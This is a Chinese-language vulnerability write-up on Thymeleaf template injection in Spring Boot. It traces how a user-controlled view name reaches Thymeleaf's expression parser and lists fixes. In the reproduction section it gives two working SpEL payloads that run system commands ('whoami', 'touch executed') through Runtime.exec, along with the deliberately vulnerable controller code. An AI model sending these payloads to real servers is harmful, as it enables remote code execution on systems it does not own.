Spring Boot Thymeleaf 模板注入 ============================== 一、漏洞简介 ------------ Thymeleaf是用于Web和独立环境的现代服务器端Java模板引擎。类似与python web开发中的jinja模板引擎。顺便说一句，Thymeleaf是spring boot的推荐引擎 二、漏洞影响 ------------ 三、复现过程 ------------ ### 0x01 基础知识 Spring Boot 本身就 Spring MVC 的简化版本。是在 Spring MVC 的基础上实现了自动配置，简化了开发人员开发过程。Spring MVC 是通过一个叫 DispatcherServlet 前端控制器的来拦截请求的。而在 Spring Boot 中 使用自动配置把 DispatcherServlet 前端控制器自动配置到框架中。 例如，我们来解析 /users 这个请求 ![1.png](./resource/SpringBootThymeleaf模板注入/media/rId25.png) 1. DispatcherServlet 前端控制器拦截请求 /users 2. servlet 决定使用哪个 handler 处理 3. Spring 检测哪个控制器匹配 /users，Spring 从 \@RquestMapping 中查找出需要的信息 4. Spring 找到正确的 Controller 方法后，开始执行 Controller 方法 5. 返回 users 对象列表 6. 根据与客户端交互需要返回 Json 或者 Xml 格式 ### spring boot 相关注解 - \@Controller 处理 Http 请求 - \@RestController \@Controller 的衍生注解 - \@RequestMapping 路由请求 可以设置各种操作方法 - \@GetMapping GET 方法的路由 - \@PostMapping POST 方法的路由 - \@PutMapping PUT 方法的路由 - \@DeleteMapping DELETE 方法的路由 - \@PathVariable 处理请求 url 路径中的参数 /user/{id} - \@RequestParam 处理问号后面的参数 - \@RequestBody 请求参数以json格式提交 - \@ResponseBody 返回 json 格式 ### Controller注解 \@Controller 一般应用在有返回界面的应用场景下.例如，管理后台使用了 thymeleaf 作为模板开发，需要从后台直接返回 Model 对象到前台，那么这时候就需要使用 \@Controller 来注解。 ### RequestMapping注解 用来将一个controller添加至路由中 0x02 环境配置 ------------- > https://github.com/veracode-research/spring-view-manipulation/ 我们以spring boot + Thymeleaf模板创建一个带有漏洞的项目。核心代码如下 @GetMapping("/path") public String path(@RequestParam String lang) { return lang ; //template path is tainted } 代码含义如下：用户请求的url为path，参数名称为lang，则服务器通过Thymeleaf模板，去查找相关的模板文件。 例如，用户通过get请求`/path?lang=en`，则服务器去自动拼接待查找的模板文件名，为`resources/templates/en.html`，并返回给用户的浏览器。 上面的代码存在两个问题： 1. 是不是存在任意文件读取？ 2. 是不是存在诸如模板注入的漏洞？？？ 0x03 模板注入分析 ----------------- spring boot如何查找controller这块我们不分析，因为对于我们不重要。 spring boot在`org.springframework.web.servlet.ModelAndView`方法中，开始处理用户的请求 /** * This implementation expects the handler to be an {@link HandlerMethod}. */ @Override @Nullable public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { return handleInternal(request, response, (HandlerMethod) handler); } 随后在`org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle`方法中，通过invokeForRequest函数，根据用户提供的url，调用相关的controller，并将其返回值，作为待查找的模板文件名，通过Thymeleaf模板引擎去查找，并返回给用户 /** * Invoke the method and handle the return value through one of the * configured {@link HandlerMethodReturnValueHandler HandlerMethodReturnValueHandlers}. * @param webRequest the current request * @param mavContainer the ModelAndViewContainer for this request * @param providedArgs "given" arguments matched by type (not resolved) */ public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception { Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs); setResponseStatus(webRequest); if (returnValue == null) { if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) { disableContentCachingIfNecessary(webRequest); mavContainer.setRequestHandled(true); return; } } else if (StringUtils.hasText(getResponseStatusReason())) { mavContainer.setRequestHandled(true); return; } mavContainer.setRequestHandled(false); try { this.returnValueHandlers.handleReturnValue( returnValue, getReturnValueType(returnValue), mavContainer, webRequest); } } 在函数中，调用`this.returnValueHandlers.handleReturnValue`去处理返回结果。最终在`org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue`方法中，将controller返回值作为视图名称。代码如下 @Override public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception { if (returnValue instanceof CharSequence) { String viewName = returnValue.toString(); mavContainer.setViewName(viewName); if (isRedirectViewName(viewName)) { mavContainer.setRedirectModelScenario(true); } } spring boot最终在`org.springframework.web.servlet.DispatcherServlet#processDispatchResult`方法中，调用Thymeleaf模板引擎的表达式解析。将上一步设置的视图名称为解析为模板名称，并加载模板，返回给用户。核心代码如下`org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression` final String viewTemplateName = getTemplateName(); final ISpringTemplateEngine viewTemplateEngine = getTemplateEngine(); final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration); final FragmentExpression fragmentExpression; try { // By parsing it as a standard expression, we might profit from the expression cache fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}"); } catch (final TemplateProcessingException e) { throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'"); } 0x04 不安全的java代码 --------------------- #### 第一种： @GetMapping("/path") public String path(@RequestParam String lang) { return lang ; //template path is tainted } 在查找模板中，引用了用户输入的内容 payload GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x HTTP/1.1 Host: www.0-sec.org:8090 Connection: close ![2.png](./resource/SpringBootThymeleaf模板注入/media/rId33.png) #### 第二种 根据spring boot定义，如果controller无返回值，则以GetMapping的路由为视图名称。当然，对于每个http请求来讲，其实就是将请求的url作为视图名称，调用模板引擎去解析。 > https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html\#mvc-ann-return-types 在这种情况下，我们只要可以控制请求的controller的参数，一样可以造成RCE漏洞。例如我们可以控制document参数 @GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); } GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x 0x05 修复方案 ------------- ### 1. 设置ResponseBody注解 如果设置`ResponseBody`，则不再调用模板解析 ### 2. 设置redirect重定向 @GetMapping("/safe/redirect") public String redirect(@RequestParam String url) { return "redirect:" + url; //CWE-601, as we can control the hostname in redirect 根据spring boot定义，如果名称以`redirect:`开头，则不再调用`ThymeleafView`解析，调用`RedirectView`去解析`controller`的返回值 ### 3. response @GetMapping("/safe/doc/{document}") public void getDocument(@PathVariable String document, HttpServletResponse response) { log.info("Retrieving " + document); //FP } 由于controller的参数被设置为HttpServletResponse，Spring认为它已经处理了HTTP Response，因此不会发生视图名称解析 参考链接 -------- > https://www.cnblogs.com/potatsoSec/p/13620019.html